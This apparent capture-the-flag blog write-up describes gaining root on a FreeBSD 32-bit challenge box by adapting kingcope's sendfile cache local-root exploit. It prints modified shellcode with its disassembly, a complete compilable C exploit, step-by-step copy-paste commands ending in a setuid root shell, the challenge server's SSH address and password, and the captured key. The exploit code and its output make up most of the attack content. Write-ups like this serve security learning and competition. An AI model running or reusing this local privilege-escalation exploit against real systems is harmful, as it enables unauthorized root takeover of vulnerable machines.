Get Root. Get the key. If only I can jump over the mountain without being normal ssh://128.238.66.100:40010 chal3:$+1zX*( 2048 51:41:94:32:cf:b1:3f:d9:74:c1:d2:08:aa:e3:49:2b /etc/ssh/ssh_host_rsa_key.pub (RSA) 1024 22:7f:72:93:93:7e:9a:3d:01:b9:58:ea:74:1a:c5:af /etc/ssh/ssh_host_dsa_key.pub (DSA)
Vulnerable FreeBSD kernel
We ssh and notice an old FreeBSD kernel. We can try to use @kingcope's freebsd sendfile cache local root. Sadly it does not work out of the box because we do not have /tmp writable: we have to customize a bit the shellcode to use a different one. Also, we can remove the 64-bit part since we are on 32-bit.Small modification of the shellcode
The original 32-bit shellcode is:$ echo -ne "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" |ndisasm -u - 00000000 31C0 xor eax,eax 00000002 6A00 push byte +0x0 00000004 68702F7368 push dword 0x68732f70 ; p/sh 00000009 682F2F746D push dword 0x6d742f2f ; //tm 0000000E 89E3 mov ebx,esp 00000010 50 push eax 00000011 50 push eax 00000012 53 push ebx 00000013 B010 mov al,0x10 00000015 50 push eax 00000016 CD80 int 0x80 00000018 68ED0D0000 push dword 0xded 0000001D 53 push ebx 0000001E B00F mov al,0xf 00000020 50 push eax 00000021 CD80 int 0x80 00000023 31C0 xor eax,eax 00000025 6A00 push byte +0x0 00000027 682F736832 push dword 0x3268732f ; /sh2 0000002C 682F746D70 push dword 0x706d742f ; /tmp 00000031 89E3 mov ebx,esp 00000033 50 push eax 00000034 54 push esp 00000035 53 push ebx 00000036 50 push eax 00000037 B03B mov al,0x3b 00000039 CD80 int 0x80Using Python we quickly decode the strings:
>>> "".join(pack("<I",b) for b in [0x68732f70,0x6d742f2f][::-1]) '//tmp/sh' >>> "".join(pack("<I",b) for b in [0x3268732f,0x706d742f][::-1]) '/tmp/sh2'
We change these paths to point to the (writable) home directory /usr/home/chal3. For the first shell:
>>> s='/usr/home/chal3/.sh' >>> t=s.rjust((len(s)/4+1)*4,'/')[::-1] >>> [t[i:i+4][::-1].encode('hex') for i in range(0,len(t),4)] ['2f2e7368', '68616c33', '6d652f63', '722f686f', '2f2f7573']Same for the second shell and it gives us the following shellcode:
$ echo -ne "\x31\xc0\x6a\x00\x68\x2f\x2e\x73\x68\x68\x68\x61\x6c\x33\x68\x6d\x65\x2f\x63\x68\x72\x2f\x68\x6f\x68\x2f\x2f\x75\x73\x89\xe3\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2E\x73\x68\x32\x68\x61\x6C\x33\x2f\x68\x65\x2F\x63\x68\x68\x2F\x68\x6F\x6D\x68\x2F\x75\x73\x72\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" |ndisasm -u - 00000000 31C0 xor eax,eax 00000002 6A00 push byte +0x0 00000004 682F2E7368 push dword 0x68732e2f ; /.sh 00000009 6868616C33 push dword 0x336c6168 ; hal3 0000000E 686D652F63 push dword 0x632f656d ; me/c 00000013 68722F686F push dword 0x6f682f72 ; r/ho 00000018 682F2F7573 push dword 0x73752f2f ; //us [...] 00000034 6A00 push byte +0x0 00000036 682E736832 push dword 0x3268732e ; .sh2 0000003B 68616C332F push dword 0x2f336c61 ; al3/ 00000040 68652F6368 push dword 0x68632f65 ; e/ch 00000045 682F686F6D push dword 0x6d6f682f ; /hom 0000004A 682F757372 push dword 0x7273752f ; /usr [...]Good we're ready! Here is my final exploit.
Exploit
The exploit steps remain the same as those explained by kingcope in his exploit: we prepare a listening netcat then in another shell, then we copy /bin/sh into sh & sh2 and run the exploit. After ~5mins, sh becomes setuid root.The most difficult part of the challenge was to have an open window for exploitation since the ssh was offline most of the time. Probably a DoS by unfair challengers? Sad.
Open two shells and keep trying to connect:
while sleep 0.1; do ssh -p 40010 chal3@128.238.66.100; done
When you have an opportunity, quickly start the
nc -l 7030
on the first shell, and on the second shell:- copy the exploit (inline using cat <<EOF>file.c technique)
- compile it with gcc
- remove source (or other contestants can steal it ;)
- copy shells
- run exploit
- monitor the shell for when it becomes setuid root
Preferably, have all these steps ready in copy/paste commands so you are faster! Indeed, the window is short and you can be disconnected anytime. Here what I used:
cd /usr/home/chal3 cat <<EOF>.x.c #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <fcntl.h> #include <netinet/in.h> #include <sys/select.h> #include <sys/stat.h> #include <strings.h> #include <stdio.h> #include <string.h> #include <err.h> main (int argc, char *argv[]) { int s, f, k2; struct sockaddr_in addr; int flags; char str32[]="\x31\xc0\x6a\x00\x68\x2f\x2e\x73\x68\x68\x68\x61\x6c\x33\x68\x6d\x65\x2f\x63\x68\x72\x2f\x68\x6f\x68\x2f\x2f\x75\x73\x89\xe3\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2E\x73\x68\x32\x68\x61\x6C\x33\x2f\x68\x65\x2F\x63\x68\x68\x2F\x68\x6F\x6D\x68\x2F\x75\x73\x72\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"; char buf[10000]; char *p; struct stat sb; int n; fd_set wset; int64_t size; off_t sbytes; off_t sent = 0; int chunk; s = socket(AF_INET, SOCK_STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(7030); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); n = connect(s, (struct sockaddr *)&addr, sizeof (addr)); if (n < 0) warn ("fail to connect"); f = open("/bin/sh", O_RDONLY); if (f<0) warn("fail to open file"); n = fstat(f, &sb); if (n<0) warn("fstat failed"); size = sb.st_size; chunk = 0; flags = fcntl(f, F_GETFL); flags |= O_NONBLOCK; fcntl(f, F_SETFL, flags); while (size > 0) { FD_ZERO(&wset); FD_SET(s, &wset); n = select(f+1, NULL, &wset, NULL, NULL); if (n < 0) continue; if (chunk > 0) { sbytes = 0; n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0); if (n < 0) continue; chunk -= sbytes; size -= sbytes; sent += sbytes; continue; } chunk = 2048; memset(buf, '\0', sizeof buf); for (k2=0;k2<256;k2++) buf[k2] = 0x90; p = buf; p = p + k2; memcpy(p, str32, sizeof str32); n = k2 + sizeof str32; p = buf; write(s, p, n); } } EOF gcc -o .x .x.c rm -f .x.c cp /bin/sh .sh cp /bin/sh .sh2 ./.x while sleep 1; do date; ls -lh .sh*; done
I had to do this several time (disconnected), but eventually it worked I had the time to run the root shell and grab the key:
$ ./.sh # cd /root # ls key log # cat key 745c4f4904b839e8bf8f0518e8b2f9d7Before leaving, I obviously removed the root shell. ;)
Greets to my friend teach who was first on this challenge, got the root shell the same way... but was disconnected before he had the time to get the key :(
Challenge was fun and original - you don't get root very often in challenges :) - just sad it was under DoS.
hehe nice writeup. the DoS was very lame, otherwise i could have get this easy 300pts long time before. By the way i saw incredible exploits on the box first time i log in dating from something like 2006 and even linux local root exploits (and one of mine:)). was wondering if some guys could just do uname -a. I LOL'D
ReplyDelete